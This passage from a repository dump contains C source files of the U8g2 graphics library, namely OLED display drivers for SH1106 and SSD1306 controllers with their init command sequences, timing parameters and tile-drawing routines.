50,\t\t/* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 50,\t/* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215) */\n  /* spi_mode = */ 0,\t\t/* issue 1901: changed mode from 3 to 0 */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t/* SSD1306: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 16,\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 2,\n  /* flipmode_x_offset = */ 2,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 64\n};\n\nuint8_t u8x8_d_sh1106_128x64_noname(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  if ( u8x8_d_ssd1306_sh1106_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      /* maybe use a better init sequence */\n      /* https://www.mikrocontroller.net/topic/431371 */\n      /* the new sequence is added in the winstar constructor (see below), this is kept untouched */\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_128x64_noname_init_seq);    \n      break;\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1106_128x64_noname_display_info);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n    \n}\n\nuint8_t u8x8_d_sh1106_128x64_vcomh0(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  if ( u8x8_d_ssd1306_sh1106_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_128x64_vcomh0_init_seq);    \n      break;\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1106_128x64_noname_display_info);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n    \n}\n\nuint8_t u8x8_d_sh1106_128x64_winstar(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  if ( u8x8_d_ssd1306_sh1106_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_sh1106_128x64_winstar_init_seq);    \n      break;\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1106_128x64_noname_display_info);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n    \n}\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_ssd1306_2040x16.c",
    "content": "/*\n\n u8x8_d_ssd1306_2040x16.c\n\n Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n Copyright (c) 2016, olikraus@gmail.com\n All rights reserved.\n\n Redistribution and use in source and binary forms, with or without modification,\n are permitted provided that the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice, this list\n of conditions and the following disclaimer.\n\n * Redistributions in binary form must reproduce the above copyright notice, this\n list of conditions and the following disclaimer in the documentation and/or other\n materials provided with the distribution.\n\n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND\n CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES,\n INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR\n CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT\n NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\n STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\n ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n */\n#include \"u8x8.h\"\n\n/* virtual device, issue 1291 */\nstatic const uint8_t u8x8_d_ssd1306_2040x16_init_seq[] =\n{\n\nU8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */\n\n    U8X8_C(0x0ae), /* display off */\n    U8X8_CA(0x0d5, 0x080), /* clock divide ratio (0x00=1) and oscillator frequency (0x8) */\n    U8X8_CA(0x0a8, 0x03f), /* multiplex ratio, 0.71 OLED: changed from 0x2f to 0x3f */\n    U8X8_CA(0x0d3, 0x000), /* display offset, 0.71 OLED  */\n    U8X8_C(0x040), /* set display start line to 0, 0.71 OLED */\n    U8X8_CA(0x08d, 0x014), /* [2] charge pump setting (p62): 0x014 enable, 0x010 disable, 0.71 OLED  0x14*/\n\n    /// according to the datasheet, 0x00 is NOT page addressing mode, but horizontal addressing mode;\n    /// so it looks like u8g2 expects horizontal addressing (and the inline comment is wrong) while the Winstar example\n    /// actually uses page addressing (which is the reset default)\n    U8X8_CA(0x020, 0x000), /* horizontal addressing mode */\n\n    U8X8_C(0x0a1), /* segment remap a0/a1, 0.71 OLED  */\n    U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse, 0.71 OLED  */\n    // Flipmode\n    // U8X8_C(0x0a0),       /* segment remap a0/a1*/\n    // U8X8_C(0x0c0),       /* c0: scan dir normal, c8: reverse */\n\n    U8X8_CA(0x0da, 0x012), /* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5), 0.71 OLED */\n    U8X8_CA(0x081, 0x07f), /* [2] set contrast control, 0.71 OLED datasheet: 0x7f */\n    U8X8_CA(0x0d9, 0x022), /* [2] pre-charge period 0x022/f1, 0.71 OLED datasheet: 0x22 */\n    U8X8_CA(0x0db, 0x040), /* vcomh deselect level, 0.71 OLED datasheet: 0x40 */\n\n    // U8X8_C(0x02e),        /* Deactivate scroll */\n    U8X8_C(0x0a4), /* output ram to display */\n    U8X8_C(0x0a6), /* none inverted normal display mode */\n\n    U8X8_END_TRANSFER(), /* disable chip */\n    U8X8_END() /* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1306_2040x16_powersave0_seq[] =\n{\nU8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */\nU8X8_C(0x0af), /* display on */\nU8X8_END_TRANSFER(), /* disable chip */\nU8X8_END() /* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1306_2040x16_powersave1_seq[] =\n{\nU8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */\nU8X8_C(0x0ae), /* display off */\nU8X8_END_TRANSFER(), /* disable chip */\nU8X8_END() /* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1306_2040x16_flip0_seq[] =\n{\nU8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */\nU8X8_C(0x0a1), /* segment remap a0/a1*/\nU8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */\nU8X8_END_TRANSFER(), /* disable chip */\nU8X8_END() /* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1306_2040x16_flip1_seq[] =\n{\nU8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */\nU8X8_C(0x0a0), /* segment remap a0/a1*/\nU8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */\nU8X8_END_TRANSFER(), /* disable chip */\nU8X8_END() /* end of sequence */\n};\n\nstatic uint8_t u8x8_d_ssd1306_2040x16_generic(u8x8_t *u8x8, uint8_t msg,\n    uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch (msg)\n  {\n    /* handled by the calling function\n     case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n     u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_2040x16_display_info);\n     break;\n     case U8X8_MSG_DISPLAY_INIT:\n     u8x8_d_helper_display_init(u8x8);\n     u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_2040x16_init_seq);\n     break;\n     */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if (arg_int == 0)\n        u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_2040x16_powersave0_seq);\n      else\n        u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_2040x16_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if (arg_int == 0)\n      {\n        u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_2040x16_flip0_seq);\n        u8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n        u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_2040x16_flip1_seq);\n        u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081);\n      u8x8_cad_SendArg(u8x8, arg_int); /* ssd1306 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *) arg_ptr)->x_pos;\n      x *= 8;\n      x += u8x8->x_offset;\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x >> 4));\n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x & 15)));\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *) arg_ptr)->y_pos));\n\n      do\n      {\n        c = ((u8x8_tile_t *) arg_ptr)->cnt;\n        ptr = ((u8x8_tile_t *) arg_ptr)->tile_ptr;\n        u8x8_cad_SendData(u8x8, c * 8, ptr); /* note: SendData can not handle more than 255 bytes */\n        arg_int--;\n      } while (arg_int > 0);\n\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\nstatic const u8x8_display_info_t u8x8_ssd1306_2040x16_display_info =\n{\n/* chip_enable_level = */0,\n/* chip_disable_level = */1,\n\n/* post_chip_enable_wait_ns = */20,\n/* pre_chip_disable_wait_ns = */10,\n/* reset_pulse_width_ms = */100, /* SSD1306: 3 us */\n/* post_reset_wait_ms = */100, /* far east OLEDs need much longer setup time */\n/* sda_setup_time_ns = */50, /* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */\n/* sck_pulse_width_ns = */50, /* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n/* sck_clock_hz = */8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215) */\n/* spi_mode = */0, /* active high, rising edge */\n/* i2c_bus_clock_100kHz = */4,\n/* data_setup_time_ns = */40,\n/* write_pulse_width_ns = */150, /* SSD1306: cycle time is 300ns, so use 300/2 = 150 */\n/* tile_width = */255,\n/* tile_height = */2,\n/* default_x_offset = */0,\n/* flipmode_x_offset = */0,\n/* pixel_width = */2040,\n/* pixel_height = */16 };\n\nuint8_t u8x8_d_ssd1306_2040x16(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  if (msg == U8X8_MSG_DISPLAY_SETUP_MEMORY)\n  {\n    u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_2040x16_display_info);\n    return 1;\n  }\n  else if (msg == U8X8_MSG_DISPLAY_INIT)\n  {\n    u8x8_d_helper_display_init(u8x8);\n    u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_2040x16_init_seq);\n    return 1;\n  }\n  return u8x8_d_ssd1306_2040x16_generic(u8x8, msg, arg_int, arg_ptr);\n}\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_ssd1306_48x64.c",
    "content": "/*\n\n u8x8_d_ssd1306_48x64_winstar.c\n\n Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n Copyright (c) 2016, olikraus@gmail.com\n All rights reserved.\n\n Redistribution and use in source and binary forms, with or without modification,\n are permitted provided that the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice, this list\n of conditions and the following disclaimer.\n\n * Redistributions in binary form must reproduce the above copyright notice, this\n list of conditions and the following disclaimer in the documentation and/or other\n materials provided with the distribution.\n\n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND\n CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES,\n INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR\n CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT\n NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\n STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\n ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n */\n#include \"u8x8.h\"\n\n/* Winstar 0.71 OLED */\nstatic const uint8_t u8x8_d_ssd1306_48x64_winstar_init_seq[] =\n{\n\nU8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */\n\n    U8X8_C(0x0ae), /* display off */\n    U8X8_CA(0x0d5, 0x080), /* clock divide ratio (0x00=1) and oscillator frequency (0x8) */\n    U8X8_CA(0x0a8, 0x03f), /* multiplex ratio, 0.71 OLED: changed from 0x2f to 0x3f */\n    U8X8_CA(0x0d3, 0x000), /* display offset, 0.71 OLED  */\n    U8X8_C(0x040), /* set display start line to 0, 0.71 OLED */\n    U8X8_CA(0x08d, 0x014), /* [2] charge pump setting (p62): 0x014 enable, 0x010 disable, 0.71 OLED  0x14*/\n\n    /// according to the datasheet, 0x00 is NOT page addressing mode, but horizontal addressing mode;\n    /// so it looks like u8g2 expects horizontal addressing (and the inline comment is wrong) while the Winstar example\n    /// actually uses page addressing (which is the reset default)\n    U8X8_CA(0x020, 0x000), /* horizontal addressing mode */\n\n    U8X8_C(0x0a1), /* segment remap a0/a1, 0.71 OLED  */\n    U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse, 0.71 OLED  */\n    // Flipmode\n    // U8X8_C(0x0a0),       /* segment remap a0/a1*/\n    // U8X8_C(0x0c0),       /* c0: scan dir normal, c8: reverse */\n\n    U8X8_CA(0x0da, 0x012), /* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5), 0.71 OLED */\n    U8X8_CA(0x081, 0x07f), /* [2] set contrast control, 0.71 OLED datasheet: 0x7f */\n    U8X8_CA(0x0d9, 0x022), /* [2] pre-charge period 0x022/f1, 0.71 OLED datasheet: 0x22 */\n    U8X8_CA(0x0db, 0x040), /* vcomh deselect level, 0.71 OLED datasheet: 0x40 */\n\n    // U8X8_C(0x02e),        /* Deactivate scroll */\n    U8X8_C(0x0a4), /* output ram to display */\n    U8X8_C(0x0a6), /* none inverted normal display mode */\n\n    U8X8_END_TRANSFER(), /* disable chip */\n    U8X8_END() /* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1306_48x64_powersave0_seq[] =\n{\nU8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */\nU8X8_C(0x0af), /* display on */\nU8X8_END_TRANSFER(), /* disable chip */\nU8X8_END() /* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1306_48x64_powersave1_seq[] =\n{\nU8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */\nU8X8_C(0x0ae), /* display off */\nU8X8_END_TRANSFER(), /* disable chip */\nU8X8_END() /* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1306_48x64_flip0_seq[] =\n{\nU8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */\nU8X8_C(0x0a1), /* segment remap a0/a1*/\nU8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */\nU8X8_END_TRANSFER(), /* disable chip */\nU8X8_END() /* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1306_48x64_flip1_seq[] =\n{\nU8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */\nU8X8_C(0x0a0), /* segment remap a0/a1*/\nU8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */\nU8X8_END_TRANSFER(), /* disable chip */\nU8X8_END() /* end of sequence */\n};\n\nstatic uint8_t u8x8_d_ssd1306_48x64_generic(u8x8_t *u8x8, uint8_t msg,\n    uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch (msg)\n  {\n    /* handled by the calling function\n     case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n     u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_48x64_display_info);\n     break;\n     case U8X8_MSG_DISPLAY_INIT:\n     u8x8_d_helper_display_init(u8x8);\n     u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_48x64_winstar_init_seq);\n     break;\n     */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if (arg_int == 0)\n        u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_48x64_powersave0_seq);\n      else\n        u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_48x64_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if (arg_int == 0)\n      {\n        u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_48x64_flip0_seq);\n        u8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n        u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_48x64_flip1_seq);\n        u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081);\n      u8x8_cad_SendArg(u8x8, arg_int); /* ssd1306 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *) arg_ptr)->x_pos;\n      x *= 8;\n      x += u8x8->x_offset;\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x >> 4));\n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x & 15)));\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *) arg_ptr)->y_pos));\n\n      do\n      {\n        c = ((u8x8_tile_t *) arg_ptr)->cnt;\n        ptr = ((u8x8_tile_t *) arg_ptr)->tile_ptr;\n        u8x8_cad_SendData(u8x8, c * 8, ptr); /* note: SendData can not handle more than 255 bytes */\n        arg_int--;\n      } while (arg_int > 0);\n\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\nstatic const u8x8_display_info_t u8x8_ssd1306_48x64_display_info =\n{\n/* chip_enable_level = */0,\n/* chip_disable_level = */1,\n\n/* post_chip_enable_wait_ns = */20,\n/* pre_chip_disable_wait_ns = */10,\n/* reset_pulse_width_ms = */100, /* SSD1306: 3 us */\n/* post_reset_wait_ms = */100, /* far east OLEDs need much longer setup time */\n/* sda_setup_time_ns = */50, /* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */\n/* sck_pulse_width_ns = */50, /* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n/* sck_clock_hz = */8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215) */\n/* spi_mode = */0, /* active high, rising edge */\n/* i2c_bus_clock_100kHz = */4,\n/* data_setup_time_ns = */40,\n/* write_pulse_width_ns = */150, /* SSD1306: cycle time is 300ns, so use 300/2 = 150 */\n/* tile_width = */6,\n/* tile_height = */8,\n/* default_x_offset = */40,\n/* flipmode_x_offset = */40,\n/* pixel_width = */48,\n/* pixel_height = */64 };\n\n/* Winstar 0.71\" OLED */\nuint8_t u8x8_d_ssd1306_48x64_winstar(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int,\n    void *arg_ptr)\n{\n  if (msg == U8X8_MSG_DISPLAY_SETUP_MEMORY)\n  {\n    u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_48x64_display_info);\n    return 1;\n  }\n  else if (msg == U8X8_MSG_DISPLAY_INIT)\n  {\n    u8x8_d_helper_display_init(u8x8);\n    u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_48x64_winstar_init_seq);\n    return 1;\n  }\n  return u8x8_d_ssd1306_48x64_generic(u8x8, msg, arg_int, arg_ptr);\n}\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_ssd1306_64x32.c",
    "content": "/*\n\n  u8x8_d_ssd1306_64x32.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n*/\n\n\n#include \"u8x8.h\"\n\n\n\n\nstatic const uint8_t u8x8_d_ssd1306_64x32_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1306_64x32_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1306_64x32_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1306_64x32_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic uint8_t u8x8_d_ssd1306_64x32_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_64x32_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_64x32_noname_init_seq);    \n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_64x32_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_64x32_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_64x32_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_64x32_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* ssd1306 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n      x *= 8;\n      x += u8x8->x_offset;\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15)));\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos));\n      \n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\tu8x8_cad_SendData(u8x8, c*8, ptr); \t/* note: SendData can not handle more than 255 bytes */\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*======================================================*/\n\nstatic const u8x8_display_info_t u8x8_ssd1306_64x32_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* SSD1306: 3 us */\n  /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 50,\t\t/* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 50,\t/* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 8000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215) */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t/* SSD1306: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 8,\n  /* tile_height = */ 4,\n  /* default_x_offset = */ 32,\n  /* flipmode_x_offset = */ 32,\n  /* pixel_width = */ 64,\n  /* pixel_height = */ 32\n};\n\n\n/*======================================================*/\n\nstatic const uint8_t u8x8_d_ssd1306_64x32_noname_init_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_CA(0x0d5, 0x080),\t\t/* clock divide ratio (0x00=1) and oscillator frequency (0x8) */\n  